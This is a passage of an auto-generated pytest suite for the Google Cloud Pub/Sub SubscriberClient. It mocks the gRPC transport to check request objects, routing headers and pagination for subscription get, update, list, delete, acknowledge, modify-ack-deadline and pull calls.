type(client._transport.get_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Subscription() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.get_subscription(subscription="subscription_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" def test_get_subscription_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.get_subscription( pubsub.GetSubscriptionRequest(), subscription="subscription_value", ) @pytest.mark.asyncio async def test_get_subscription_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Subscription() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription()) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.get_subscription(subscription="subscription_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" @pytest.mark.asyncio async def test_get_subscription_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.get_subscription( pubsub.GetSubscriptionRequest(), subscription="subscription_value", ) def test_update_subscription( transport: str = "grpc", request_type=pubsub.UpdateSubscriptionRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.update_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.Subscription( name="name_value", topic="topic_value", ack_deadline_seconds=2066, retain_acked_messages=True, enable_message_ordering=True, filter="filter_value", detached=True, ) response = client.update_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.UpdateSubscriptionRequest() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Subscription) assert response.name == "name_value" assert response.topic == "topic_value" assert response.ack_deadline_seconds == 2066 assert response.retain_acked_messages is True assert response.enable_message_ordering is True assert response.filter == "filter_value" assert response.detached is True def test_update_subscription_from_dict(): test_update_subscription(request_type=dict) @pytest.mark.asyncio async def test_update_subscription_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.UpdateSubscriptionRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.update_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.Subscription( name="name_value", topic="topic_value", ack_deadline_seconds=2066, retain_acked_messages=True, enable_message_ordering=True, filter="filter_value", detached=True, ) ) response = await client.update_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.Subscription) assert response.name == "name_value" assert response.topic == "topic_value" assert response.ack_deadline_seconds == 2066 assert response.retain_acked_messages is True assert response.enable_message_ordering is True assert response.filter == "filter_value" assert response.detached is True def test_update_subscription_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.UpdateSubscriptionRequest() request.subscription.name = "subscription.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.update_subscription), "__call__" ) as call: call.return_value = pubsub.Subscription() client.update_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "subscription.name=subscription.name/value", ) in kw["metadata"] @pytest.mark.asyncio async def test_update_subscription_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.UpdateSubscriptionRequest() request.subscription.name = "subscription.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.update_subscription), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Subscription()) await client.update_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "subscription.name=subscription.name/value", ) in kw["metadata"] def test_list_subscriptions( transport: str = "grpc", request_type=pubsub.ListSubscriptionsRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.list_subscriptions), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.ListSubscriptionsResponse( next_page_token="next_page_token_value", ) response = client.list_subscriptions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.ListSubscriptionsRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListSubscriptionsPager) assert response.next_page_token == "next_page_token_value" def test_list_subscriptions_from_dict(): test_list_subscriptions(request_type=dict) @pytest.mark.asyncio async def test_list_subscriptions_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.ListSubscriptionsRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_subscriptions), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.ListSubscriptionsResponse(next_page_token="next_page_token_value",) ) response = await client.list_subscriptions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListSubscriptionsAsyncPager) assert response.next_page_token == "next_page_token_value" def test_list_subscriptions_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ListSubscriptionsRequest() request.project = "project/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.list_subscriptions), "__call__" ) as call: call.return_value = pubsub.ListSubscriptionsResponse() client.list_subscriptions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "project=project/value",) in kw["metadata"] @pytest.mark.asyncio async def test_list_subscriptions_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ListSubscriptionsRequest() request.project = "project/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_subscriptions), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.ListSubscriptionsResponse() ) await client.list_subscriptions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "project=project/value",) in kw["metadata"] def test_list_subscriptions_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.list_subscriptions), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.ListSubscriptionsResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.list_subscriptions(project="project_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].project == "project_value" def test_list_subscriptions_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.list_subscriptions( pubsub.ListSubscriptionsRequest(), project="project_value", ) @pytest.mark.asyncio async def test_list_subscriptions_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_subscriptions), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = pubsub.ListSubscriptionsResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( pubsub.ListSubscriptionsResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.list_subscriptions(project="project_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].project == "project_value" @pytest.mark.asyncio async def test_list_subscriptions_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.list_subscriptions( pubsub.ListSubscriptionsRequest(), project="project_value", ) def test_list_subscriptions_pager(): client = SubscriberClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.list_subscriptions), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSubscriptionsResponse( subscriptions=[ pubsub.Subscription(), pubsub.Subscription(), pubsub.Subscription(), ], next_page_token="abc", ), pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(),], next_page_token="ghi", ), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(), pubsub.Subscription(),], ), RuntimeError, ) metadata = () metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("project", ""),)), ) pager = client.list_subscriptions(request={}) assert pager._metadata == metadata results = [i for i in pager] assert len(results) == 6 assert all(isinstance(i, pubsub.Subscription) for i in results) def test_list_subscriptions_pages(): client = SubscriberClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.list_subscriptions), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSubscriptionsResponse( subscriptions=[ pubsub.Subscription(), pubsub.Subscription(), pubsub.Subscription(), ], next_page_token="abc", ), pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(),], next_page_token="ghi", ), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(), pubsub.Subscription(),], ), RuntimeError, ) pages = list(client.list_subscriptions(request={}).pages) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.asyncio async def test_list_subscriptions_async_pager(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_subscriptions), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSubscriptionsResponse( subscriptions=[ pubsub.Subscription(), pubsub.Subscription(), pubsub.Subscription(), ], next_page_token="abc", ), pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(),], next_page_token="ghi", ), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(), pubsub.Subscription(),], ), RuntimeError, ) async_pager = await client.list_subscriptions(request={},) assert async_pager.next_page_token == "abc" responses = [] async for response in async_pager: responses.append(response) assert len(responses) == 6 assert all(isinstance(i, pubsub.Subscription) for i in responses) @pytest.mark.asyncio async def test_list_subscriptions_async_pages(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.list_subscriptions), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( pubsub.ListSubscriptionsResponse( subscriptions=[ pubsub.Subscription(), pubsub.Subscription(), pubsub.Subscription(), ], next_page_token="abc", ), pubsub.ListSubscriptionsResponse(subscriptions=[], next_page_token="def",), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(),], next_page_token="ghi", ), pubsub.ListSubscriptionsResponse( subscriptions=[pubsub.Subscription(), pubsub.Subscription(),], ), RuntimeError, ) pages = [] async for page_ in (await client.list_subscriptions(request={})).pages: pages.append(page_) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token def test_delete_subscription( transport: str = "grpc", request_type=pubsub.DeleteSubscriptionRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.delete_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None response = client.delete_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.DeleteSubscriptionRequest() # Establish that the response is the type that we expect. assert response is None def test_delete_subscription_from_dict(): test_delete_subscription(request_type=dict) @pytest.mark.asyncio async def test_delete_subscription_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.DeleteSubscriptionRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.delete_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) response = await client.delete_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert response is None def test_delete_subscription_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.DeleteSubscriptionRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.delete_subscription), "__call__" ) as call: call.return_value = None client.delete_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_delete_subscription_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.DeleteSubscriptionRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.delete_subscription), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) await client.delete_subscription(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] def test_delete_subscription_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.delete_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.delete_subscription(subscription="subscription_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" def test_delete_subscription_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.delete_subscription( pubsub.DeleteSubscriptionRequest(), subscription="subscription_value", ) @pytest.mark.asyncio async def test_delete_subscription_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.delete_subscription), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.delete_subscription(subscription="subscription_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" @pytest.mark.asyncio async def test_delete_subscription_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.delete_subscription( pubsub.DeleteSubscriptionRequest(), subscription="subscription_value", ) def test_modify_ack_deadline( transport: str = "grpc", request_type=pubsub.ModifyAckDeadlineRequest ): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.modify_ack_deadline), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None response = client.modify_ack_deadline(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.ModifyAckDeadlineRequest() # Establish that the response is the type that we expect. assert response is None def test_modify_ack_deadline_from_dict(): test_modify_ack_deadline(request_type=dict) @pytest.mark.asyncio async def test_modify_ack_deadline_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.ModifyAckDeadlineRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.modify_ack_deadline), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) response = await client.modify_ack_deadline(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert response is None def test_modify_ack_deadline_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ModifyAckDeadlineRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.modify_ack_deadline), "__call__" ) as call: call.return_value = None client.modify_ack_deadline(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_modify_ack_deadline_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.ModifyAckDeadlineRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.modify_ack_deadline), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) await client.modify_ack_deadline(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] def test_modify_ack_deadline_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.modify_ack_deadline), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.modify_ack_deadline( subscription="subscription_value", ack_ids=["ack_ids_value"], ack_deadline_seconds=2066, ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].ack_ids == ["ack_ids_value"] assert args[0].ack_deadline_seconds == 2066 def test_modify_ack_deadline_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.modify_ack_deadline( pubsub.ModifyAckDeadlineRequest(), subscription="subscription_value", ack_ids=["ack_ids_value"], ack_deadline_seconds=2066, ) @pytest.mark.asyncio async def test_modify_ack_deadline_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.modify_ack_deadline), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.modify_ack_deadline( subscription="subscription_value", ack_ids=["ack_ids_value"], ack_deadline_seconds=2066, ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].ack_ids == ["ack_ids_value"] assert args[0].ack_deadline_seconds == 2066 @pytest.mark.asyncio async def test_modify_ack_deadline_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.modify_ack_deadline( pubsub.ModifyAckDeadlineRequest(), subscription="subscription_value", ack_ids=["ack_ids_value"], ack_deadline_seconds=2066, ) def test_acknowledge(transport: str = "grpc", request_type=pubsub.AcknowledgeRequest): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.acknowledge), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = None response = client.acknowledge(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.AcknowledgeRequest() # Establish that the response is the type that we expect. assert response is None def test_acknowledge_from_dict(): test_acknowledge(request_type=dict) @pytest.mark.asyncio async def test_acknowledge_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.AcknowledgeRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.acknowledge), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) response = await client.acknowledge(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert response is None def test_acknowledge_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.AcknowledgeRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.acknowledge), "__call__") as call: call.return_value = None client.acknowledge(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_acknowledge_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.AcknowledgeRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.acknowledge), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) await client.acknowledge(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] def test_acknowledge_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.acknowledge), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = None # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.acknowledge( subscription="subscription_value", ack_ids=["ack_ids_value"], ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].ack_ids == ["ack_ids_value"] def test_acknowledge_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.acknowledge( pubsub.AcknowledgeRequest(), subscription="subscription_value", ack_ids=["ack_ids_value"], ) @pytest.mark.asyncio async def test_acknowledge_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.acknowledge), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.acknowledge( subscription="subscription_value", ack_ids=["ack_ids_value"], ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].subscription == "subscription_value" assert args[0].ack_ids == ["ack_ids_value"] @pytest.mark.asyncio async def test_acknowledge_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.acknowledge( pubsub.AcknowledgeRequest(), subscription="subscription_value", ack_ids=["ack_ids_value"], ) def test_pull(transport: str = "grpc", request_type=pubsub.PullRequest): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.pull), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.PullResponse() response = client.pull(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.PullRequest() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.PullResponse) def test_pull_from_dict(): test_pull(request_type=dict) @pytest.mark.asyncio async def test_pull_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.PullRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._client._transport.pull), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.PullResponse()) response = await client.pull(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.PullResponse) def test_pull_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.PullRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.pull), "__call__") as call: call.return_value = pubsub.PullResponse() client.pull(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_pull_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.PullRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._client._transport.pull), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.PullResponse()) await client.pull(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] def test_pull_flattened(): client 